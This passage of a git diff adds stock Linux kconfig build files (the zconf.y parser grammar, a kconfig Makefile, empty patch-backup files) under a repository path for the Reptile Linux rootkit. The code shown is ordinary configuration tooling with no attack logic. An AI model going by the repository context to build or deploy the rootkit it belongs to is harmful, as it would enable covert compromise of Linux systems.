expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y new file mode 100644 index 0000000..0653886 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y @@ -0,0 +1,733 @@ +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + +%} +%expect 30 + +%union +{ + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; +} + +%token T_MAINMENU +%token T_MENU +%token T_ENDMENU +%token T_SOURCE +%token T_CHOICE +%token T_ENDCHOICE +%token T_COMMENT +%token T_CONFIG +%token T_MENUCONFIG +%token T_HELP +%token T_HELPTEXT +%token T_IF +%token T_ENDIF +%token T_DEPENDS +%token T_OPTIONAL +%token T_PROMPT +%token T_TYPE +%token T_DEFAULT +%token T_SELECT +%token T_RANGE +%token T_VISIBLE +%token T_OPTION +%token T_ON +%token T_WORD +%token T_WORD_QUOTE +%token T_UNEQUAL +%token T_CLOSE_PAREN +%token T_OPEN_PAREN +%token T_EOL + +%left T_OR +%left T_AND +%left T_EQUAL T_UNEQUAL +%nonassoc T_NOT + +%type prompt +%type symbol +%type expr +%type if_expr +%type end +%type option_name +%type if_entry menu_entry choice_entry +%type symbol_option_arg word_opt + +%destructor { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + $$->file->name, $$->lineno); + if (current_menu == $$) + menu_end_menu(); +} if_entry menu_entry choice_entry + +%{ +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" +%} + +%% +input: nl start | start; + +start: mainmenu_stmt stmt_list | stmt_list; + +stmt_list: + /* empty */ + | stmt_list common_stmt + | stmt_list choice_stmt + | stmt_list menu_stmt + | stmt_list end { zconf_error("unexpected end statement"); } + | stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); } + | stmt_list option_name error T_EOL +{ + zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name); +} + | stmt_list error T_EOL { zconf_error("invalid statement"); } +; + +option_name: + T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE +; + +common_stmt: + T_EOL + | if_stmt + | comment_stmt + | config_stmt + | menuconfig_stmt + | source_stmt +; + +option_error: + T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); } + | error T_EOL { zconf_error("invalid option"); } +; + + +/* config/menuconfig entry */ + +config_entry_start: T_CONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +config_stmt: config_entry_start config_option_list +{ + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +menuconfig_stmt: menuconfig_entry_start config_option_list +{ + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +config_option_list: + /* empty */ + | config_option_list config_option + | config_option_list symbol_option + | config_option_list depends + | config_option_list help + | config_option_list option_error + | config_option_list T_EOL +; + +config_option: T_TYPE prompt_stmt_opt T_EOL +{ + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_DEFAULT expr if_expr T_EOL +{ + menu_add_expr(P_DEFAULT, $2, $3); + if ($1->stype != S_UNKNOWN) + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_SELECT T_WORD if_expr T_EOL +{ + menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_RANGE symbol symbol if_expr T_EOL +{ + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +}; + +symbol_option: T_OPTION symbol_option_list T_EOL +; + +symbol_option_list: + /* empty */ + | symbol_option_list T_WORD symbol_option_arg +{ + const struct kconf_id *id = kconf_id_lookup($2, strlen($2)); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, $3); + else + zconfprint("warning: ignoring unknown option %s", $2); + free($2); +}; + +symbol_option_arg: + /* empty */ { $$ = NULL; } + | T_EQUAL prompt { $$ = $2; } +; + +/* choice entry */ + +choice: T_CHOICE word_opt T_EOL +{ + struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +}; + +choice_entry: choice choice_option_list +{ + $$ = menu_add_menu(); +}; + +choice_end: end +{ + if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +}; + +choice_stmt: choice_entry choice_block choice_end +; + +choice_option_list: + /* empty */ + | choice_option_list choice_option + | choice_option_list depends + | choice_option_list help + | choice_option_list T_EOL + | choice_option_list option_error +; + +choice_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_TYPE prompt_stmt_opt T_EOL +{ + if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) { + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); + } else + YYERROR; +}; + +choice_option: T_OPTIONAL T_EOL +{ + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_DEFAULT T_WORD if_expr T_EOL +{ + if ($1->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +}; + +choice_block: + /* empty */ + | choice_block common_stmt +; + +/* if entry */ + +if_entry: T_IF expr nl +{ + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep($2); + $$ = menu_add_menu(); +}; + +if_end: end +{ + if (zconf_endtoken($1, T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +}; + +if_stmt: if_entry if_block if_end +; + +if_block: + /* empty */ + | if_block common_stmt + | if_block menu_stmt + | if_block choice_stmt +; + +/* mainmenu entry */ + +mainmenu_stmt: T_MAINMENU prompt nl +{ + menu_add_prompt(P_MENU, $2, NULL); +}; + +/* menu entry */ + +menu: T_MENU prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_MENU, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +}; + +menu_entry: menu visibility_list depends_list +{ + $$ = menu_add_menu(); +}; + +menu_end: end +{ + if (zconf_endtoken($1, T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +}; + +menu_stmt: menu_entry menu_block menu_end +; + +menu_block: + /* empty */ + | menu_block common_stmt + | menu_block menu_stmt + | menu_block choice_stmt +; + +source_stmt: T_SOURCE prompt T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2); + zconf_nextfile($2); +}; + +/* comment entry */ + +comment: T_COMMENT prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +}; + +comment_stmt: comment depends_list +{ + menu_end_entry(); +}; + +/* help option */ + +help_start: T_HELP T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +}; + +help: help_start T_HELPTEXT +{ + current_entry->help = $2; +}; + +/* depends option */ + +depends_list: + /* empty */ + | depends_list depends + | depends_list T_EOL + | depends_list option_error +; + +depends: T_DEPENDS T_ON expr T_EOL +{ + menu_add_dep($3); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +}; + +/* visibility option */ + +visibility_list: + /* empty */ + | visibility_list visible + | visibility_list T_EOL +; + +visible: T_VISIBLE if_expr +{ + menu_add_visibility($2); +}; + +/* prompt statement */ + +prompt_stmt_opt: + /* empty */ + | prompt if_expr +{ + menu_add_prompt(P_PROMPT, $1, $2); +}; + +prompt: T_WORD + | T_WORD_QUOTE +; + +end: T_ENDMENU T_EOL { $$ = $1; } + | T_ENDCHOICE T_EOL { $$ = $1; } + | T_ENDIF T_EOL { $$ = $1; } +; + +nl: + T_EOL + | nl T_EOL +; + +if_expr: /* empty */ { $$ = NULL; } + | T_IF expr { $$ = $2; } +; + +expr: symbol { $$ = expr_alloc_symbol($1); } + | symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); } + | symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); } + | T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; } + | T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); } + | expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); } + | expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); } +; + +symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); } + | T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); } +; + +word_opt: /* empty */ { $$ = NULL; } + | T_WORD + +%% + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/foo.h b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/10-br-build-system.patch/foo.h new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile new file mode 100644 index 0000000..18278f8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/Makefile @@ -0,0 +1,319 @@ +# =========================================================================== +# Kernel configuration targets +# These targets are used from top-level makefile + +PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \ + localmodconfig localyesconfig + +ifdef KBUILD_KCONFIG +Kconfig := $(KBUILD_KCONFIG) +else +Kconfig := Kconfig +endif + +# We need this, in case the user has it in its environment +unexport CONFIG_ + +xconfig: $(obj)/qconf + $< $(Kconfig) + +gconfig: $(obj)/gconf + $< $(Kconfig) + +menuconfig: $(obj)/mconf + $< $(Kconfig) + +config: $(obj)/conf + $< --oldaskconfig $(Kconfig) + +nconfig: $(obj)/nconf + $< $(Kconfig) + +oldconfig: $(obj)/conf + $< --$@ $(Kconfig) + +silentoldconfig: $(obj)/conf + $(Q)mkdir -p include/generated + $< --$@ $(Kconfig) + +localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf + $(Q)mkdir -p include/generated + $(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config + $(Q)if [ -f .config ]; then \ + cmp -s .tmp.config .config || \ + (mv -f .config .config.old.1; \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + mv -f .config.old.1 .config.old) \ + else \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + fi + $(Q)rm -f .tmp.config + +# Create new linux.pot file +# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files +update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h + $(Q)echo " GEN config.pot" + $(Q)xgettext --default-domain=linux \ + --add-comments --keyword=_ --keyword=N_ \ + --from-code=UTF-8 \ + --files-from=$(srctree)/scripts/kconfig/POTFILES.in \ + --directory=$(srctree) --directory=$(objtree) \ + --output $(obj)/config.pot + $(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot + $(Q)(for i in `ls $(srctree)/arch/*/Kconfig \ + $(srctree)/arch/*/um/Kconfig`; \ + do \ + echo " GEN $$i"; \ + $(obj)/kxgettext $$i \ + >> $(obj)/config.pot; \ + done ) + $(Q)echo " GEN linux.pot" + $(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \ + --output $(obj)/linux.pot + $(Q)rm -f $(obj)/config.pot + +PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig + +allnoconfig allyesconfig allmodconfig alldefconfig randconfig: $(obj)/conf + $< --$@ $(Kconfig) + +PHONY += listnewconfig olddefconfig oldnoconfig savedefconfig defconfig + +listnewconfig olddefconfig: $(obj)/conf + $< --$@ $(Kconfig) + +# oldnoconfig is an alias of olddefconfig, because people already are dependent +# on its behavior(sets new symbols to their default value but not 'n') with the +# counter-intuitive name. +oldnoconfig: $(obj)/conf + $< --olddefconfig $(Kconfig) + +savedefconfig: $(obj)/conf + $< --$@=defconfig $(Kconfig) + +defconfig: $(obj)/conf +ifeq ($(KBUILD_DEFCONFIG),) + $< --defconfig $(Kconfig) +else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig) +endif + +%_defconfig: $(obj)/conf + $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig) + +# Help text used by make help +help: + @echo ' config - Update current config utilising a line-oriented program' + @echo ' nconfig - Update current config utilising a ncurses menu based program' + @echo ' menuconfig - Update current config utilising a menu based program' + @echo ' xconfig - Update current config utilising a QT based front-end' + @echo ' gconfig - Update current config utilising a GTK based front-end' + @echo ' oldconfig - Update current config utilising a provided .config as base' + @echo ' localmodconfig - Update current config disabling modules not loaded' + @echo ' localyesconfig - Update current config converting local mods to core' + @echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps' + @echo ' defconfig - New config with default from ARCH supplied defconfig' + @echo ' savedefconfig - Save current config as ./defconfig (minimal config)' + @echo ' allnoconfig - New config where all options are answered with no' + @echo ' allyesconfig - New config where all options are accepted with yes' + @echo ' allmodconfig - New config selecting modules when possible' + @echo ' alldefconfig - New config with all symbols set to default' + @echo ' randconfig - New config with random answer to all options' + @echo ' listnewconfig - List new options' + @echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value' + +# lxdialog stuff +check-lxdialog := $(srctree)/$(src)/lxdialog/check-lxdialog.sh + +# Use recursively expanded variables so we do not call gcc unless +# we really need to do so. (Do not call gcc as part of make mrproper) +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \ + -DLOCALE + +# =========================================================================== +# Shared Makefile for the various kconfig executables: +# conf: Used for defconfig, oldconfig and related targets +# nconf: Used for the nconfig target. +# Utilizes ncurses +# mconf: Used for the menuconfig target +# Utilizes the lxdialog package +# qconf: Used for the xconfig target +# Based on QT which needs to be installed to compile it +# gconf: Used for the gconfig target +# Based on GTK which needs to be installed to compile it +# object files used by all kconfig flavours + +lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o +lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o + +conf-objs := conf.o zconf.tab.o +mconf-objs := mconf.o zconf.tab.o $(lxdialog) +nconf-objs := nconf.o zconf.tab.o nconf.gui.o +kxgettext-objs := kxgettext.o zconf.tab.o +qconf-cxxobjs := qconf.o +qconf-objs := zconf.tab.o +gconf-objs := gconf.o zconf.tab.o + +hostprogs-y := conf + +ifeq ($(MAKECMDGOALS),nconfig) + hostprogs-y += nconf +endif + +ifeq ($(MAKECMDGOALS),menuconfig) + hostprogs-y += mconf +endif + +ifeq ($(MAKECMDGOALS),update-po-config) + hostprogs-y += kxgettext +endif + +ifeq ($(MAKECMDGOALS),xconfig) + qconf-target := 1 +endif +ifeq ($(MAKECMDGOALS),gconfig) + gconf-target := 1 +endif + + +ifeq ($(qconf-target),1) + hostprogs-y += qconf +endif + +ifeq ($(gconf-target),1) + hostprogs-y += gconf +endif + +clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck +clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h +clean-files += mconf qconf gconf nconf +clean-files += config.pot linux.pot + +# Check that we have the required ncurses stuff installed for lxdialog (menuconfig) +PHONY += $(obj)/dochecklxdialog +$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog +$(obj)/dochecklxdialog: + $(Q)$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf) + +always := dochecklxdialog + +# Add environment specific flags +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(srctree)/$(src)/check.sh $(HOSTCC) $(HOSTCFLAGS)) + +# generated files seem to need this to find local include files +HOSTCFLAGS_zconf.lex.o := -I$(src) +HOSTCFLAGS_zconf.tab.o := -I$(src) + +LEX_PREFIX_zconf := zconf +YACC_PREFIX_zconf := zconf + +HOSTLOADLIBES_qconf = $(KC_QT_LIBS) +HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS) + +HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0` +HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \ + -Wno-missing-prototypes + +HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) -ldflags $(HOSTCC)) + +HOSTLOADLIBES_nconf = $(shell \ + pkg-config --libs menu panel ncurses 2>/dev/null \ + || echo "-lmenu -lpanel -lncurses" ) +$(obj)/qconf.o: $(obj)/.tmp_qtcheck + +ifeq ($(qconf-target),1) +$(obj)/.tmp_qtcheck: $(src)/Makefile +-include $(obj)/.tmp_qtcheck + +# QT needs some extra effort... +$(obj)/.tmp_qtcheck: + @set -e; echo " CHECK qt"; dir=""; pkg=""; \ + if ! pkg-config --exists QtCore 2> /dev/null; then \ + echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \ + pkg-config --exists qt 2> /dev/null && pkg=qt; \ + pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \ + if [ -n "$$pkg" ]; then \ + cflags="\$$(shell pkg-config $$pkg --cflags)"; \ + libs="\$$(shell pkg-config $$pkg --libs)"; \ + moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \ + dir="$$(pkg-config $$pkg --variable=prefix)"; \ + else \ + for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \ + if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \ + done; \ + if [ -z "$$dir" ]; then \ + echo >&2 "*"; \ + echo >&2 "* Unable to find any QT installation. Please make sure that"; \ + echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \ + echo >&2 "* either qmake can be found or install pkg-config or set"; \ + echo >&2 "* the QTDIR environment variable to the correct location."; \ + echo >&2 "*"; \ + false; \ + fi; \ + libpath=$$dir/lib; lib=qt; osdir=""; \ + $(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \ + osdir=x$$($(HOSTCXX) -print-multi-os-directory); \ + test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \ + test -f $$libpath/libqt-mt.so && lib=qt-mt; \ + cflags="-I$$dir/include"; \ + libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \ + moc="$$dir/bin/moc"; \ + fi; \ + if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \ + echo "*"; \ + echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \ + echo "*"; \ + moc="/usr/bin/moc"; \ + fi; \ + else \ + cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \ + libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \ + moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \ + [ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \ + fi; \ + echo "KC_QT_CFLAGS=$$cflags" > $@; \ + echo "KC_QT_LIBS=$$libs" >> $@; \ + echo "KC_QT_MOC=$$moc" >> $@ +endif + +$(obj)/gconf.o: $(obj)/.tmp_gtkcheck + +ifeq ($(gconf-target),1) +-include $(obj)/.tmp_gtkcheck + +# GTK needs some extra effort, too... +$(obj)/.tmp_gtkcheck: + @if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \ + if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \ + touch $@; \ + else \ + echo >&2 "*"; \ + echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \ + echo >&2 "*"; \ + false; \ + fi \ + else \ + echo >&2 "*"; \ + echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \ + echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \ + echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \ + echo >&2 "*"; \ + false; \ + fi +endif + +$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c + +$(obj)/qconf.o: $(obj)/qconf.moc + +$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck + $(KC_QT_MOC) -i $< -o $@ + +# Extract gconf menu items for I18N support +$(obj)/gconf.glade.h: $(obj)/gconf.glade + $(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \ + $(obj)/gconf.glade + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c new file mode 100644 index 0000000..553fc76 --- /dev/null +++ 